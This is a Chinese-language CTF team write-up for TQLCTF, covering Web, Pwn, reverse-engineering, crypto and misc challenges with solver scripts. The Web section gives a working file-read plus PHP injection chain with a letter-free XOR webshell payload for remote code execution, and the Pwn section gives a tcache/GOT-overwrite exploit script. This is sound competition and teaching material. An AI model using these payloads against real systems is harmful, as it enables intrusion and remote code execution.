• TQLCTF V&N战队 WriteUp


    忙里偷闲组织了一下TQLCTF,最后打到了总榜十三名,感觉成绩还可以,师傅们都挺给力的hhhhh

    Web

    Simple PHP

    /get_pic.php?image=img/haokangde.png
    

    任意文件读取,尝试读一下sandbox/098f6bcd4621d373cade4e832627b4fdddddd6.php
    查看源代码可以看到data协议后的base64编码,解码得到源码,除去HTML代码,只有一段PHP代码:

    <?php
        error_reporting(0);
        $user = ((string)test);
        $pass = ((string)zsf098f6bcd4621d373cade4e832627b4f6);
                
        if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
            echo($_COOKIE['user']);
        }else{
            die("<script>alert('Permission denied!');</script>");
        }
    ?>        
    

    感觉没啥用,继续读一下get_pic.php:

    <?php
    error_reporting(0);
    $image = (string)$_GET['image'];
    echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode(file_get_contents($image)) . '" /> </div>';
    ?>
    

    index.php:

    <?php
    error_reporting(0);
    if(isset($_POST['user']) && isset($_POST['pass'])){
        $hash_user = md5($_POST['user']);
        $hash_pass = 'zsf'.md5($_POST['pass']);
        if(isset($_POST['punctuation'])){
            //filter
            if (strlen($_POST['user']) > 6){
                echo("<script>alert('Username is too long!');</script>");
            }
            elseif(strlen($_POST['website']) > 25){
                echo("<script>alert('Website is too long!');</script>");
            }
            elseif(strlen($_POST['punctuation']) > 1000){
                echo("<script>alert('Punctuation is too long!');</script>");
            }
            else{
                if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
                    if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
                        $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
                        $template = file_get_contents('./template.html');
                        $content = str_replace("__USER__", $_POST['user'], $template);
                        $content = str_replace("__PASS__", $hash_pass, $content);
                        $content = str_replace("__WEBSITE__", $_POST['website'], $content);
                        $content = str_replace("__PUNC__", $_POST['punctuation'], $content);
                        file_put_contents('sandbox/'.$hash_user.'.php', $content);
                        echo("<script>alert('Successed!');</script>");
                    }
                    else{
                        echo("<script>alert('Invalid chars in website!');</script>");
                    }
                }
                else{
                    echo("<script>alert('Invalid chars in username!');</script>");
                }
            }
        }
        else{
            setcookie("user", $_POST['user'], time()+3600);
            setcookie("pass", $hash_pass, time()+3600);
            Header("Location:sandbox/$hash_user.php");
        }
    }
    ?>
    //HTML代码省略
    

    注意这段代码:

    file_put_contents('sandbox/'.$hash_user.'.php', $content);
    

    可以写入php文件,并且内容是部分可控的,再看看内容的Check:

    if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
        if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
            $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
            $template = file_get_contents('./template.html');
            $content = str_replace("__USER__", $_POST['user'], $template);
            $content = str_replace("__PASS__", $hash_pass, $content);
            $content = str_replace("__WEBSITE__", $_POST['website'], $content);
            $content = str_replace("__PUNC__", $_POST['punctuation'], $content);
            file_put_contents('sandbox/'.$hash_user.'.php', $content);
    

    分析一下:

    1. PASS$hash_pass是md5加密过的,不可控
    2. USER$_POST['user'] 要求 preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0 并且长度小于7
    3. WEBSITE$_POST['website'] 要求 preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0 并且长度小于26
    4. PUNC$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation'])并且长度不超过1000
      因此没办法直接构造PHP的开始标签,那就想办法在执行PHP代码的时候不结束就行了。

    可以把__USER__设置为

    1/*
    

    然后在__PUNC__处

    */);---CODE---;/*
    

    这样整个文件就变成了下面的样子:

    <?php
      error_reporting(0);
      $user = ((string)0/*被注释掉的代码*/);---CODE---;/*被注释掉的HTML代码
    

    然后再用异或构造出一个无字母数字Shell就可以RCE了,最终payload:

    USER: 0/*
    PUNC: */);$_='("((%-'^"[[[\@@";$__ = "!+/(("^"~{`{|";$___ = $$__;$_($___['!']);/*
    

    这里异或出了一个system($_POST['!'])
    就可以RCE,cat一下得到flag:

    图片

    Pwn

    ubbelievable_write

    打tcache结构体,改free的got表为puts的,这样free之后就不会触发检查了,然后随便打

    from pwn import *
    p = process("./pwn")
    #context.log_level = "debug"
    context.terminal = ['tmux','splitw','-h']
    #p = remote("119.23.255.127",28005)
    
    def backdoor():
        p.sendlineafter("> ","3")
    
    def add(size,content):
        p.recvuntil(b"> ")
        p.sendline(b"1")
        p.sendline(str(size))
        p.sendline(content)
    
    def free(position):
        p.recvuntil(b"> ")
        p.sendline(b"2")
        p.sendline(str(position))
    
    
    
    def g():
        global p
        gdb.attach(p)
        input()
    
    
    
    free(-656)
    add(0x280,b'\x00'*0x10+b'\x01'+b'\x00'*0x6f+p64(0)*8+p64(0x404018))
    
    
    
    
    
    add(0x90,p64(0x401050))
    
    add(0x280,b'\x00'*0x10+b'\x01'+b'\x00'*0x6f+p64(0)*8+p64(0x404080))
    add(0x90,"eeee")
    
    backdoor()
    
    
    
    
    
    p.interactive()
    
    

    Re

    Tales of the Arrow

    已知:括号内17位,于是每个字符的最高位为0,于是知道(17 / 136)

    已知:一次循环两个为真或假 一个为必真(位为0为负,位为1为正)

    检索每个循环

    只有得知一 次循环两个为假 -> 确定一个数据必为真

    根据ascii码第一位是0,尝试了一下,发现可以直接推出来全部

    data=[]#数据粘上来会卡死,请使用文件读写
    bits=[0 for i in range(136)]
    vis=[False for i in range(136)]
    for i in range(136):
        if i%8==0:
            bits[i]=0
            vis[i]=True
    f=[]
    for i in range(5000):
        f.append([])
        for j in range(3):
            x=abs(data[i*3+j])-1
            if x%8==0 and data[i*3+j]>0:
                continue
            f[i].append(data[i*3+j])
        if len(f[i])==0:
            print(i,[data[i*3],data[i*3+1],data[i*3+2]])
        if len (f[i])==1:
            bits[abs(f[i][0])-1]=1 if f[i][0]>0 else 0
            vis[abs(f[i][0])-1]=True
    flag=True
    while(flag):
        flag=False
        for i in range(5000):
            for j in f[i]:
                x=abs(j)-1
                if vis[x]:
                    if j>0 and bits[x]==0:
                        f[i].remove(j)
                    elif j<0 and bits[x]==1:
                        f[i].remove(j)
            if len(f[i])==0:
                print('Wrong')
            if len(f[i])==1:
                bits[abs(f[i][0])-1]=1 if f[i][0]>0 else 0
                if not vis[abs(f[i][0])-1]:
                    flag=True
                vis[abs(f[i][0])-1]=True
    flag=''
    for i in range(17):
        x=0
        for j in range(8):
            if not vis[i*8+j]:
                print('wrong')
            x=x*2+bits[i*8+j]
        flag+=chr(x)
    print(flag)
    
    

    GetFlag!

    图片

    Crypto

    Signature

    直接规约pk就能当sk... 不过得调调

    from sage.all import *
    pk = load('pk.sobj')
    sk = pk.BKZ(block_size = 16)
    
    print("DOWN")
    from pwn import *
    from Crypto.Util.number import *
    from hashlib import sha256
    import string
    from scheme import *
    from pwnlib.util.iters import mbruteforce
    
    def dpow(io):
        io.recvuntil(b"sha256(****")
        suffix = io.recv(28).decode()
        io.recvuntil(b' == ')
        cipher = io.recv(64).strip().decode()
        proof = mbruteforce(lambda x: sha256(( x + suffix  ).encode()).hexdigest() == (cipher)
                            , table, length=4, method='fixed')
        io.sendline( proof) 
    
    table = string.ascii_letters+string.digits
    context.log_level = 'debug'
    io = remote("120.79.167.178",23617) 
    dpow(io)
    io.recvuntil(b"Please sign the following message to authenticate:\n")
    s = io.recv(32).decode()
    e = hash_and_sign(sk,s)
    
    tmp_e = ''
    for i in e:
        tmp_e = tmp_e + str(i) + " "
    
    io.sendline(tmp_e[:-1].encode())
    io.interactive()
    

    Misc

    签到题

    图片

    Wizard

    爆破出来的

    from pwn import *
    from Crypto.Util.number import *
    from hashlib import sha256
    from pwnlib.util.iters import mbruteforce
    import string
    table = string.ascii_letters+string.digits
    context.log_level = "debug"
    def proof_of_work(p):
        p.recvuntil(b"with ")
        suffix = "TQLCTF"
        cipher = p.recv(5).strip().decode("utf8")
        p.recv()
        proof = mbruteforce(lambda x: sha256((suffix + x).encode()).hexdigest().startswith(cipher), table, length=10, method='fixed')
        p.sendline(proof)  
    
    HOST = "120.79.12.160"
    PORT = 22096
    while True :
        p = remote(HOST,PORT)
        proof_of_work(p)
        p.recv()
        p.sendline("G 288")
        info = p.recv()
        if info[8:13] == b"wrong":
            print(info)
            continue
        else :
            break
    print(info)
    

    图片

    Ranma½

    vim查看可以发现应该是一段维吉尼亚密文:

    图片

    复制下来然后丢到https://www.guballa.de/vigenere-solver爆破一下得到Flag:

    ISO/IEC 10646-1 defines a large character set called the Universal Character Set (UCS) which encompasses most of the world's writing systems.  The originally proposed encodings of the UCS, however, were not compatible with many current applications and protocols, and this has led to the development of UTF-8, the object of this memo. UTF-8 has the characteristic of preserving the full US-ASCII range, providing compatibility with file systems, parsers and other software that rely on US-ASCII values but are transparent to other values. TQLCTF{CODIN6_WOR1D}
    

    the Ohio State University

    .osz文件改成.zip解压,查看封面图片的exif信息看到一个密钥:

    root@VM-0-8-ubuntu:~# exif 200813_HEXADIVER.jpg
    EXIF tags in '200813_HEXADIVER.jpg' ('Motorola' byte order):
    --------------------+----------------------------------------------
    Tag                 |Value
    --------------------+----------------------------------------------
    XP Comment          |pwd: VVelcome!!
    Padding             |2060 bytes undefined data
    X-Resolution        |72
    Y-Resolution        |72
    Resolution Unit     |Inch
    Padding             |2060 bytes undefined data
    Exif Version        |Exif Version 2.1
    FlashPixVersion     |FlashPix Version 1.0
    Color Space         |Internal error (unknown value 65535)
    --------------------+-----------------------------------------------
    

    然后用steghide来提取封面图片的信息,可以得到一部分flag:

     steghide extract -sf 200813_HEXADIVER.jpg -p VVelcome\!\!
    

    得到 TQLCTF{VVElcOM3
    注意文件修改时间

    图片

    找到wav隐写密码

    图片

    silenteye解出一段flag

    图片

    由于osz可能是beatmap,考虑最后一步flag隐写在beat中,经过比较在vivid难度中题目相较原文件修改了后面的一部分

    注意到游戏里过分工整的beat加上beyondcompare的显示结果,说明flag藏在最后的beat中

    图片图片

    一个note作1,否则为0得到字符组,from binary解密

    图片

    TQLCTF{VVElcOM3_TO_O$u_i7s_5HoWtIme}

    问卷调查

  • 相关阅读:
    url 中非法字符替换,java 正则替换
    Ubuntu 下用命令行快速打开html,mp3等文件
    JavaScript HTML DOM 入门详解
    JavaScript 表单验证入门
    javascript with关键字简单用法
    JavaScript 错误处理, Throw、Try 和 Catch入门
    使用 Navicat Premium 将 sql server 的数据库迁移到 mysql 的数据库中
    引入 ServletContextListener @Autowired null 解决办法
    tomcat启动完成执行 某个方法 定时任务(Spring)
    linux启动tomcat很久或者很慢Tomcat启动时卡在“INFO: Deploying web application directory ......”的解决方法
  • 原文地址:https://www.cnblogs.com/yesec/p/15921349.html
Copyright © 2020-2023  润新知